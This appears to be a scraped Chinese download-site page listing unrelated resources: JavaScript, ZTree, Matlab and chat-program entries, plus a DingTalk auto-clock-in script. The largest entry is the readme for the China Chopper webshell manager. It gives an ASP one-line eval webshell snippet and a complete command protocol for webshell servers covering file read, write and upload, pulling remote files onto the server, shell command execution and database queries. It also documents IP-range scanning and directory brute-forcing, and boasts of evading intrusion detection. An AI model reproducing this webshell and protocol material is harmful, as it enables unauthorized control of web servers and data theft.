本例中敏感词ciku.txt放在C盘根目录下,采用的ActiveXObject插件获取本地文件内容。
使用此插件不需网上下插件,直接用如下js代码即可。
浏览器需修改interner安全选项的级别,启用ActiveX才能获取到代码中的ActiveXObject插件。
如下图所示:js代码实现如下:[removed] // -------------- 全局变量,用来判断文本域中是否包含脏词,默认为false,即不包含脏词------- var isDirty = false; //使用ActiveX读取本地文件获取dirt在JavaScript中,有时我们需要在用户提交表单时检查输入内容是否包含敏感词,以防止不当内容的发布。
本文介绍了一种使用ActiveXObject技术在IE浏览器中实现这一功能的方法。
ActiveXObject是Internet Explorer特有的,它允许JavaScript与本地操作系统交互,如读取本地文件。
我们需要在本地(例如C盘根目录)创建一个名为`ciku.txt`的文本文件,其中包含了我们定义的敏感词。
然后,通过JavaScript的ActiveXObject来读取这个文件的内容。
以下是关键的JavaScript代码:```javascriptvar isDirty = false;function readFile() { var fso = new ActiveXObject("Scripting.FileSystemObject"); var openF = fso.OpenTextFile("c:\\ciku.txt", 1); var cikuStr = openF.ReadAll(); return cikuStr;}````readFile()`函数使用`Scripting.FileSystemObject`对象打开并读取`ciku.txt`文件,然后将敏感词返回给其他函数处理。
当用户尝试提交表单时,会触发`submitForm1()`函数。
这个函数首先获取用户在表单文本域中输入的内容,然后检查是否包含敏感词。
如果发现敏感词,它会调用`filterWord()`函数替换敏感词,并弹出提示让用户确认是否继续提交。
如果用户确认,表单会被提交;
否则,提交操作会被取消。
`filterWord()`函数接收用户输入的内容,读取敏感词列表,然后对每个敏感词调用`filterOneWord()`函数进行替换。
`filterOneWord()`使用正则表达式和`replace()`方法将敏感词替换为星号("**")。
表单部分的HTML代码如下:```html<form name="message_board" id="message_board" action="aaa.html"> <textarea name="message" id="message" cols="50" rows="10">"This is you post messsage"——phpdream</textarea> <br/> <input type="button" value="提交留言" id="submitMessage" onclick="submitForm1()" /></form>```需要注意的是,由于ActiveXObject是IE特有的,这种方法在其他非IE浏览器(如Chrome、Firefox、Safari或Edge)上无效。
为了实现跨浏览器兼容,可以考虑使用其他技术,如FileReader API(适用于现代浏览器)或者将敏感词库保存在服务器端,通过Ajax请求获取。
此外,为了使用ActiveXObject,用户需要在浏览器的安全设置中启用ActiveX控件,这可能带来安全风险,因此在实际应用中应谨慎使用,并确保对用户有明确的提示和说明。
2025/6/15 22:22:47 97KB
1

在IT行业中,ZTree是一款广泛应用于Web开发的前端插件,尤其在文件管理、权限控制等领域,它提供了强大的树形展示功能。
标题提到的“ztree的使用”着重于介绍如何在项目中集成和操作ZTree。
由于描述中提到了项目基于SSH(Spring、Struts2、Hibernate)框架,我们可以推测这是一个Java Web项目,ZTree在此类项目中常用于后台数据的前端展示。
ZTree的基础概念需要理解。
ZTree是一个基于jQuery的插件,它可以将静态或动态的数据结构渲染成交互式的树形视图。
它的主要特点包括节点的多级展示、可选的异步加载、丰富的事件机制以及自定义的节点样式和图标。
在SSH框架中使用ZTree,首先你需要在项目中引入ZTree的CSS和JavaScript文件。
这些文件通常可以从ZTree的官方网站下载,包含所需的样式表和脚本。
然后,在HTML页面中引入这些资源,并设置一个div元素作为ZTree的容器。
接下来,你需要准备ZTree的数据源。
在基于SSH的项目中,数据通常通过Ajax请求从后端获取。
数据格式应遵循ZTree的规范,一般为JSON格式,包含节点ID、父节点ID、节点文本等关键信息。
例如:```json[ { "id": "1", "pId": "0", "name": "父节点1" }, { "id": "1_1", "pId": "1", "name": "子节点1_1" }, { "id": "1_2", "pId": "1", "name": "子节点1_2" }]```在JavaScript中,你可以使用$.fn.zTree.init方法初始化ZTree,传入刚才创建的容器div和数据源。
同时,你还需要配置ZTree的参数,如是否启用异步加载、节点展开方式、是否允许拖拽等。
例如:```javascriptvar setting = { async: { enable: true, url: yourAjaxUrl, autoParam: [id], otherParam: {type: typeValue} }, data: { simpleData: { enable: true } }};var zNodes = []; // 前面准备的JSON数据$.fn.zTree.init($("#treeDemo"), setting, zNodes);```ZTree还提供了丰富的事件监听,如onClick、onDblClick等,你可以根据需要绑定相应的处理函数来实现节点点击后的业务逻辑。
例如:```javascriptvar treeObj = $.fn.zTree.getZTreeObj("treeDemo");treeObj.bind("onClick", function(event, treeId, treeNode) { console.log(点击了节点:, treeNode.id);});```此外,ZTree支持动态加载和异步数据获取,这对于大型数据集非常有用。
你可以通过配置async参数来开启异步加载,并指定获取数据的URL。
当用户展开节点时,ZTree会自动发送请求获取子节点数据。
“ztree的使用”涵盖了前端展示、后端数据交互、事件处理等多个方面。
理解ZTree的工作原理和配置选项,能够帮助你在SSH项目中构建出高效、交互性强的树形界面。
通过不断实践和优化,ZTree可以成为项目中不可或缺的一部分,提升用户体验并简化后台数据管理。
2025/6/15 22:18:37 17KB
1
简介:
中国 Node.js中的SDK安装 $ npm install china --save例子 var china = require ( china ) ;china . index . list ( year|month|season , function ( err , indexs ) { // list all indexs here, // contains name, desciption, indexId, // return details as a list console . log ( indexs ) ;} ) ;// Fetch data via indexIDchina . data . findById ( A0101 , { from : [ Date ] , to : [ Date ] , regi
2025/6/15 19:51:15 5KB
1
因为JAVA项目要向PHP项目传值,PHP的算法是:$CPWD=mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,$pwd,MCRYPT_MODE_ECB);var_dump('encrypt:');var_dump(bin2hex($CPWD));JAVA项目中,因为JAVA8中没有直接支持ZeroBytePadding的试,所以要使用NoPadding方式代替,以记录一下,供有用的朋友使用。
1
Matlab编写的代码,求解var在险价值。
可运行
2025/5/5 9:09:12 217KB Matlab Var
1
Var与CVaR计算方法,即风险价值的计算,使用matlab编写
2025/2/25 17:51:04 464KB VaR CVaR
1
oil这是用于使用现代Web工具构建基于Spring的整体应用程序的入门模板。
入门测试将使用测试容器启动其自己的独立容器。
发展我建议安装。
请注意,在github页面上有该插件的安装后说明。
您可以键入var并按Crtl+Space使其自动完成文件顶部的类型提示,例如:{#@pebvariablename="email"type="java.lang.String"#}这使插件知道对电子邮件的任何引用都应使用intellij自动完成功能来处理字符串。
迈向伟大的开发流程的另一步是将pebble文件的基本语言标记为HTML。
您可以通过以下方式做到这一点:打开设置Ctrl+Alt+S导航到Languages&Frameworks打开TemplateDataLanguages添加src/main/resources/templa
2025/1/1 22:31:33 9.38MB Kotlin
1
简单功能如下1.服务器端接收用户信息,处理后转发给其他用户,如有用户登录或退出,服务器通知所有人;
2.群聊:用户发送的信息所有人都可以接收,接收的信息前面显示发送者的昵称和发送时间;
3.私聊:可以选定用户发送信息,其他用户看不到,该用户也使用相同的方式回复私聊信息;
4.保存和查看聊天记录,仅可查看自己保存的聊天记录,保存和读取聊天记录时需要使用文件锁;
保存和查看聊天记录,聊天记录保存在“./msgsave_昵称”文件中(“昵称”为保存者自己的昵称);5.服务器的出错信息打印输出到屏幕上,同时发送给系统日志(/var/log/messages)。
2024/11/26 20:03:20 15KB C语言 嵌入式 GTK+ 客户端
1
具有功能趣味的异步流量控制λ旨在保持小而简单,而功能强大。
受和启发。
方法是单独实现的,而不是整体的一部分。
当考虑单独导出功能时,该设计会有所帮助。
如果您需要async所有方法,请坚持使用。
否则,您可能要检查λ!功能请求将视情况而定。
快速链接API流量控制功能性未分类安装使用npm或bower安装。
或者获取并将其嵌入到[removed]标记中。
npmicontra--savebowericontra--save您可以将其用作Common.JS模块,也可以将其直接嵌入HTML中。
varλ=require('contra');<scriptsrc='contra.js'></script><script>varλ=contra;</script>contra没有直接发布为
2024/11/10 7:56:26 47KB JavaScript
1
产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
共 47 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡